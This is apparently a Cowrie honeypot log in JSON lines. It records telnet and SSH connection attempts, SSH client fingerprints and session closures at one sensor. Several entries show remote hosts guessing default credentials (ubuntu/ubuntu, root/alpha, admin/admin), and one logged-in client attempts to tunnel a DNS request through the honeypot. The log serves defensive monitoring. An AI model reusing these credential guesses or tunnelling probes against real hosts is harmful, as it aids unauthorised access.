{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50304,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da46c073c83","protocol":"telnet","message":"New connection: 128.199.8.54:50304 (159.203.135.109:23) [session: 9da46c073c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:15.095076Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58376,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ff0bb4cb55e","protocol":"telnet","message":"New connection: 128.199.8.54:58376 (159.203.135.109:23) [session: 9ff0bb4cb55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:16.480035Z"}
{"eventid":"cowrie.session.closed","duration":31.32482385635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:16.834794Z","src_ip":"45.148.121.166","session":"093edf55891e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.824114084243774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:16.946775Z","src_ip":"45.148.121.166","session":"d24627603d24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06069755554199,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:18.542661Z","src_ip":"128.199.8.54","session":"ac706285125b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914921283721924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:19.439529Z","src_ip":"45.148.121.166","session":"2cd9bdb80a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50798,"dst_ip":"159.203.135.109","dst_port":22,"session":"b885da93c456","protocol":"ssh","message":"New connection: 80.94.92.186:50798 (159.203.135.109:22) [session: b885da93c456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:20.027101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:20.123014Z","src_ip":"80.94.92.186","session":"b885da93c456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:20.357384Z","src_ip":"80.94.92.186","session":"b885da93c456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:21.686706Z","src_ip":"80.94.92.186","session":"b885da93c456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:23.013666Z","src_ip":"80.94.92.186","session":"b885da93c456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.8692409992218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:25.301204Z","src_ip":"128.199.8.54","session":"d5a47bb19bc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180676698684692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:27.212722Z","src_ip":"45.148.121.166","session":"01fc451de2e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.914005517959595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:36.056737Z","src_ip":"128.199.8.54","session":"325eaeb68086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.826874256134033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:37.943025Z","src_ip":"45.148.121.166","session":"adcb767df794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43780,"dst_ip":"159.203.135.109","dst_port":23,"session":"b246bb7b75fa","protocol":"telnet","message":"New connection: 128.199.8.54:43780 (159.203.135.109:23) [session: b246bb7b75fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:38.981285Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":5396,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6de8474980","protocol":"ssh","message":"New connection: 193.24.211.100:5396 (159.203.135.109:22) [session: 3c6de8474980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:39.897366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:39.909635Z","src_ip":"193.24.211.100","session":"3c6de8474980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:40.007495Z","src_ip":"193.24.211.100","session":"3c6de8474980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":38468,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaee515d8285","protocol":"telnet","message":"New connection: 45.148.121.166:38468 (159.203.135.109:23) [session: aaee515d8285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:40.108656Z"}
{"eventid":"cowrie.session.closed","duration":31.31999945640564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:40.306458Z","src_ip":"45.148.121.166","session":"9b5a71c0da27","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:40.431681Z","src_ip":"193.24.211.100","session":"3c6de8474980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46800,"dst_ip":"159.203.135.109","dst_port":23,"session":"16be5010322e","protocol":"telnet","message":"New connection: 128.199.8.54:46800 (159.203.135.109:23) [session: 16be5010322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:40.612240Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:41.543289Z","src_ip":"193.24.211.100","session":"3c6de8474980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.57775092124939,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:42.743666Z","src_ip":"128.199.8.54","session":"6d00e7fa9712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53676,"dst_ip":"159.203.135.109","dst_port":23,"session":"251426865718","protocol":"telnet","message":"New connection: 128.199.8.54:53676 (159.203.135.109:23) [session: 251426865718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:44.276853Z"}
{"eventid":"cowrie.session.closed","duration":34.24609684944153,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:44.428299Z","src_ip":"128.199.8.54","session":"d068ba90901e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":41242,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d4899220cd3","protocol":"telnet","message":"New connection: 45.148.121.166:41242 (159.203.135.109:23) [session: 0d4899220cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:45.943816Z"}
{"eventid":"cowrie.session.closed","duration":33.48259496688843,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:48.577549Z","src_ip":"128.199.8.54","session":"9da46c073c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82924699783325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:49.309171Z","src_ip":"128.199.8.54","session":"9ff0bb4cb55e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":41250,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0abd656076","protocol":"telnet","message":"New connection: 45.148.121.166:41250 (159.203.135.109:23) [session: 8b0abd656076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:52.309678Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45106,"dst_ip":"159.203.135.109","dst_port":23,"session":"666087b94cd0","protocol":"telnet","message":"New connection: 128.199.8.54:45106 (159.203.135.109:23) [session: 666087b94cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:54.614318Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":39336,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae18cd34b17","protocol":"telnet","message":"New connection: 45.148.121.166:39336 (159.203.135.109:23) [session: eae18cd34b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:00.601324Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":39340,"dst_ip":"159.203.135.109","dst_port":23,"session":"31116a9d91ca","protocol":"telnet","message":"New connection: 45.148.121.166:39340 (159.203.135.109:23) [session: 31116a9d91ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:01.907247Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46532,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ee08d86cbbb","protocol":"telnet","message":"New connection: 128.199.8.54:46532 (159.203.135.109:23) [session: 5ee08d86cbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:10.070182Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":48344,"dst_ip":"159.203.135.109","dst_port":23,"session":"4475e4d75847","protocol":"telnet","message":"New connection: 45.148.121.166:48344 (159.203.135.109:23) [session: 4475e4d75847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:11.877767Z"}
{"eventid":"cowrie.session.closed","duration":31.92586398124695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:12.034427Z","src_ip":"45.148.121.166","session":"aaee515d8285","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53799653053284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:12.519168Z","src_ip":"128.199.8.54","session":"b246bb7b75fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4189772605896,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:17.031056Z","src_ip":"128.199.8.54","session":"16be5010322e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193530321121216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:17.137226Z","src_ip":"45.148.121.166","session":"0d4899220cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"67269c11f56f","protocol":"telnet","message":"New connection: 45.148.121.166:46362 (159.203.135.109:23) [session: 67269c11f56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:18.573109Z"}
{"eventid":"cowrie.session.closed","duration":34.42532253265381,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:18.702017Z","src_ip":"128.199.8.54","session":"251426865718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979326009750366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:23.288886Z","src_ip":"45.148.121.166","session":"8b0abd656076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":51864,"dst_ip":"159.203.135.109","dst_port":23,"session":"731d727a614d","protocol":"telnet","message":"New connection: 45.148.121.166:51864 (159.203.135.109:23) [session: 731d727a614d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:26.514942Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52858,"dst_ip":"159.203.135.109","dst_port":23,"session":"111753eba9fa","protocol":"telnet","message":"New connection: 128.199.8.54:52858 (159.203.135.109:23) [session: 111753eba9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:27.528887Z"}
{"eventid":"cowrie.session.closed","duration":35.317768812179565,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:29.931959Z","src_ip":"128.199.8.54","session":"666087b94cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":51868,"dst_ip":"159.203.135.109","dst_port":23,"session":"f522b7048a4f","protocol":"telnet","message":"New connection: 45.148.121.166:51868 (159.203.135.109:23) [session: f522b7048a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:30.211884Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62106,"dst_ip":"10.17.0.5","dst_port":22,"session":"2303b1bc3741","protocol":"ssh","message":"New connection: 87.251.64.176:62106 (10.17.0.5:22) [session: 2303b1bc3741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:31.732586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:31.736826Z","src_ip":"87.251.64.176","session":"2303b1bc3741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:31.833964Z","src_ip":"87.251.64.176","session":"2303b1bc3741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"da725bc5ea95","protocol":"telnet","message":"New connection: 128.199.8.54:33690 (159.203.135.109:23) [session: da725bc5ea95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:31.883821Z"}
{"eventid":"cowrie.session.closed","duration":31.34838056564331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:31.949575Z","src_ip":"45.148.121.166","session":"eae18cd34b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.194575309753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:32.101695Z","src_ip":"45.148.121.166","session":"31116a9d91ca","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:32.127486Z","src_ip":"87.251.64.176","session":"2303b1bc3741","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:32.228522Z","session":"2303b1bc3741","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:32.330148Z","src_ip":"87.251.64.176","session":"2303b1bc3741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:32.566323Z","src_ip":"87.251.64.176","session":"2303b1bc3741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":54238,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb71acc26b51","protocol":"telnet","message":"New connection: 45.148.121.166:54238 (159.203.135.109:23) [session: eb71acc26b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:38.243781Z"}
{"eventid":"cowrie.session.closed","duration":30.62514352798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:42.502814Z","src_ip":"45.148.121.166","session":"4475e4d75847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"419b73b0578b","protocol":"telnet","message":"New connection: 128.199.8.54:57572 (159.203.135.109:23) [session: 419b73b0578b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:43.020240Z"}
{"eventid":"cowrie.session.closed","duration":35.10893487930298,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:45.178997Z","src_ip":"128.199.8.54","session":"5ee08d86cbbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190468788146973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:49.763333Z","src_ip":"45.148.121.166","session":"67269c11f56f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44932,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0b9186fef0a","protocol":"telnet","message":"New connection: 128.199.8.54:44932 (159.203.135.109:23) [session: e0b9186fef0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:50.706112Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48654,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba5565a3b02","protocol":"telnet","message":"New connection: 128.199.8.54:48654 (159.203.135.109:23) [session: 5ba5565a3b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:52.253325Z"}
